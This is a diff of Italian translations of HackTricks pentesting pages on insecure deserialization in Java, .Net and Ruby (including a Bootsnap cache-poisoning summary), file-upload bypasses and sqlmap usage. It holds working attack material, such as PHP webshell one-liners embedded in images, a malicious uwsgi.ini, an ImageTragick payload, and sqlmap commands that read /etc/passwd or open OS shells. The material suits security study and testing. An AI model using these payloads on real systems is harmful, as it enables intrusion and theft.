**Sfruttare le librerie esterne per una maggiore sicurezza**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
|
||||
- **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
|
||||
- **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
||||
@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## Iniezione JNDI & log4Shell
|
||||
|
||||
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA & LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella seguente pagina:
|
||||
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA e LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Prodotti
|
||||
|
||||
@ -619,7 +619,7 @@ Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per
|
||||
|
||||
### Riferimenti
|
||||
|
||||
- Talk su JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Talk di JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
@ -651,14 +651,14 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`
|
||||
|
||||
- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi).
|
||||
- **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
|
||||
- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
|
||||
- **`--output`** utilizzato per indicare se desideri l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
|
||||
- **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
|
||||
|
||||
#### Altri parametri di ysoserial.net
|
||||
|
||||
- `--minify` fornirà un **payload più piccolo** (se possibile)
|
||||
- `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso)
|
||||
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà i formatter contenenti "xml" (case insensitive)
|
||||
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive)
|
||||
|
||||
**Esempi di ysoserial** per creare exploit:
|
||||
```bash
|
||||
@ -712,7 +712,7 @@ Pertanto, il parametro **`--test`** ci consente di capire **quali parti di codic
|
||||
|
||||
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro \_\_ViewState di .Net**](exploiting-__viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** utilizzati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevenzione
|
||||
### Prevention
|
||||
|
||||
Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
@ -726,7 +726,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
- **Rimanere informati sui gadget di deserializzazione insicuri noti** all'interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
|
||||
- **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non attendibili.
|
||||
|
||||
### **Riferimenti**
|
||||
### **References**
|
||||
|
||||
- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
@ -737,7 +737,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare un flusso di byte indietro in un oggetto, un processo noto come deserializzazione.
|
||||
|
||||
Per proteggere gli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in una delle diverse posizioni possibili:
|
||||
Per garantire la sicurezza degli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, assicurando l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in una delle diverse posizioni possibili:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail
|
||||
|
||||
### Metodo Ruby .send()
|
||||
|
||||
Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
||||
Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
||||
|
||||
Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
|
||||
```ruby
|
||||
@ -922,6 +922,42 @@ Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una
|
||||
}
|
||||
}
|
||||
```
|
||||
Controlla per ulteriori dettagli nel [**post originale**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Controlla ulteriori dettagli nel [**post originale**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Non è realmente una vulnerabilità di deserializzazione, ma un bel trucco per abusare della cache di bootstrap per ottenere RCE da un'applicazione Rails con una scrittura di file arbitraria (trova il [post originale completo qui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Di seguito è riportato un breve riassunto dei passaggi dettagliati nell'articolo per sfruttare una vulnerabilità di scrittura di file arbitraria abusando della cache di Bootsnap:
|
||||
|
||||
- Identificare la Vulnerabilità e l'Ambiente
|
||||
|
||||
La funzionalità di caricamento file dell'app Rails consente a un attaccante di scrivere file arbitrariamente. Anche se l'app funziona con restrizioni (solo alcune directory come tmp sono scrivibili a causa dell'utente non root di Docker), questo consente comunque di scrivere nella directory della cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).
|
||||
|
||||
- Comprendere il Meccanismo di Cache di Bootsnap
|
||||
|
||||
Bootsnap accelera i tempi di avvio di Rails memorizzando nella cache il codice Ruby compilato, i file YAML e JSON. Memorizza file di cache che includono un'intestazione della chiave di cache (con campi come versione di Ruby, dimensione del file, mtime, opzioni di compilazione, ecc.) seguita dal codice compilato. Questa intestazione viene utilizzata per convalidare la cache durante l'avvio dell'app.
|
||||
|
||||
- Raccogliere i Metadati del File
|
||||
|
||||
L'attaccante seleziona prima un file di destinazione che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
|
||||
- Calcolare il Percorso del File di Cache
|
||||
|
||||
Replicando il meccanismo di hash FNV-1a a 64 bit di Bootsnap, viene determinato il corretto percorso del file di cache. Questo passaggio garantisce che il file di cache malevolo venga posizionato esattamente dove Bootsnap si aspetta (ad esempio, sotto tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Creare il File di Cache Malevolo
|
||||
|
||||
L'attaccante prepara un payload che:
|
||||
|
||||
- Esegue comandi arbitrari (ad esempio, eseguendo id per mostrare le informazioni sul processo).
|
||||
- Rimuove la cache malevola dopo l'esecuzione per prevenire sfruttamenti ricorsivi.
|
||||
- Carica il file originale (ad esempio, set.rb) per evitare di far crashare l'applicazione.
|
||||
|
||||
Questo payload viene compilato in codice Ruby binario e concatenato con un'intestazione della chiave di cache accuratamente costruita (utilizzando i metadati raccolti in precedenza e il numero di versione corretto per Bootsnap).
|
||||
|
||||
- Sovrascrivere e Attivare l'Esecuzione
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attiva un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file mirato, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -44,7 +44,7 @@ Altre estensioni utili:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
|
||||
- _es: file.php.png_
|
||||
- _ex: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
|
||||
@ -65,13 +65,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure puoi anche **introdurre direttamente il payload** in un'immagine:\
|
||||
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- Se **compressioni vengono aggiunte alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
@ -81,10 +81,10 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- **Possibile divulgazione di informazioni**:
|
||||
1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
|
||||
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||
3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
|
||||
3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
|
||||
4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
|
||||
6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
6. Carica un file in **Windows** usando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
|
||||
|
||||
### Special extension tricks
|
||||
@ -106,7 +106,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
|
||||
|
||||
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
|
||||
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
|
||||
```ini
|
||||
@ -176,21 +176,21 @@ Nota che **un'altra opzione** che potresti considerare per bypassare questo cont
|
||||
- [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
|
||||
- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date.
|
||||
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus**
|
||||
- Controlla se c'è qualche **limite di dimensione** nel caricamento dei file
|
||||
|
||||
Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
3. **GIF**: Stored XSS / SSRF
|
||||
4. **CSV**: CSV injection
|
||||
2. **SVG**: XSS memorizzato / SSRF / XXE
|
||||
3. **GIF**: XSS memorizzato / SSRF
|
||||
4. **CSV**: iniezione CSV
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
7. **HTML / JS** : iniezione HTML / XSS / Open redirect
|
||||
8. **PNG / JPEG**: attacco pixel flood (DoS)
|
||||
9. **ZIP**: RCE tramite LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Estensione Burp
|
||||
@ -206,13 +206,13 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
|
||||
|
||||
### Upload di file Zip/Tar automaticamente decompresso
|
||||
## Upload di file Zip/Tar automaticamente decompressi
|
||||
|
||||
Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
|
||||
|
||||
#### Symlink
|
||||
### Symlink
|
||||
|
||||
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:
|
||||
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi accederai ai file collegati:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -305,6 +305,14 @@ Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad
|
||||
|
||||
Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche da **[questo post del blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Finché i byte magici `%PDF` sono nei primi 1024 byte, è valido (prendi esempio dal post)
|
||||
- **`pdflib` library**: Aggiungi un formato PDF falso all'interno di un campo del JSON in modo che la libreria pensi che sia un pdf (prendi esempio dal post)
|
||||
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di quello in modo che non possa analizzare il contenuto come un json e poi all'interno del JSON mettere la parte iniziale di un vero PDF e penserà che sia un PDF
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Aggiungi tecnica di rilevamento
|
||||
|
||||
Se hai trovato una SQLi ma sqlmap non l'ha rilevata, puoi forzare la tecnica di rilevamento con argomenti come `--prefix` o `--suffix`, o se più complesso, aggiungendolo ai payload utilizzati da sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` per esempio per il time blind basato.
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente, la **flask cookie session** **è firmata da flask con il segreto noto prima di inviarla**:
|
||||
**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con qualche oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente, la **sessione cookie di flask** **è firmata da flask con il segreto noto prima di inviarla**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -101,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Scansiona un sito web con SQLmap e auto-sfrutta
|
||||
### Esegui la scansione di un sito web con SQLmap e auto-sfrutta
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -126,14 +130,14 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### Aiuto nella ricerca di iniezione booleano
|
||||
### Aiuto nella ricerca di iniezione boolean
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi trovare un esempio di tamper nella [pagina Second Order Injection qui](second-order-injection-sqlmap.md).
|
||||
Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi trovare un esempio di tamper nella [Second Order Injection page here](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -146,16 +150,16 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
|
||||
| base64encode.py | Codifica in Base64 tutti i caratteri in un dato payload |
|
||||
| between.py | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #' |
|
||||
